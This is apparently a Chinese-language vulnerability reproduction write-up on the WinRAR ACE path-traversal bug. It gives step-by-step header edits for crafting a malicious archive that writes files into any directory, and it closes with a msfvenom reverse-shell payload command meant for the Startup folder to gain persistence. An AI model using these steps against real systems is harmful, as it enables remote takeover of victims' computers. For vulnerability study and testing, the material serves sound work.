近日Check Point团队爆出了一个关于WinRAR存在19年的漏洞,用它来可以获得受害者计算机的控制。攻击者只需利用此漏洞构造恶意的压缩文件,当受害者使用WinRAR解压该恶意文件时便会触发漏洞。
漏洞描述
该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的,该动态链接库在 2006 年被编译,没有任何的基础保护机制(ASLR, DEP 等)。动态链接库的作用是处理 ACE 格式文件。而WinRAR解压ACE文件时,由于没有对文件名进行充分过滤,导致其可实现目录穿越,将恶意文件写入任意目录,甚至可以写入文件至开机启动项,导致代码执行
复现准备
- winrar <= 5.60
- 所需工具WinACE、010Editor
- 检查ace文件head信息的脚本:https://raw.githubusercontent.com/backlion/acefile/master/acefile.py
漏洞复现
新建一个shell.txt文件,用winace进行压缩。右下角设置为store full path。
使用acefile.py脚本检查head信息python check.py --headers shell.ace
。查看hdr_crc
和hdr_size
的信息。
用010Editor打开压缩的文件。首先计算正常路径下filename的长度。得到长度为0x23,构造解压路径为d:\d:\shell.txt
,将之前的路径替换,并修改0x23的值为所构造的路径长度。
修改完这两个后再修改hdr_size
的信息。起始位置在0101处,结束位置为路径处。得到0x2E。修改之前通过脚本得到的hdr_size
值。
保存后再运行python check.py --headers shell.ace
得到新的hdr_crc
值,修改之前的值。
现在已经构造成功,解压文件,会在d盘下存在shell.txt文件。
小结
此漏洞可配合msf生成exe后门,解压到C:\ProgramData\Microsoft\Windows\Start Menu\Programs目录下,当机器重启时执行exe,有很大的安全隐患。
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.227.137 LPORT=4444 -f exe > shell.exe |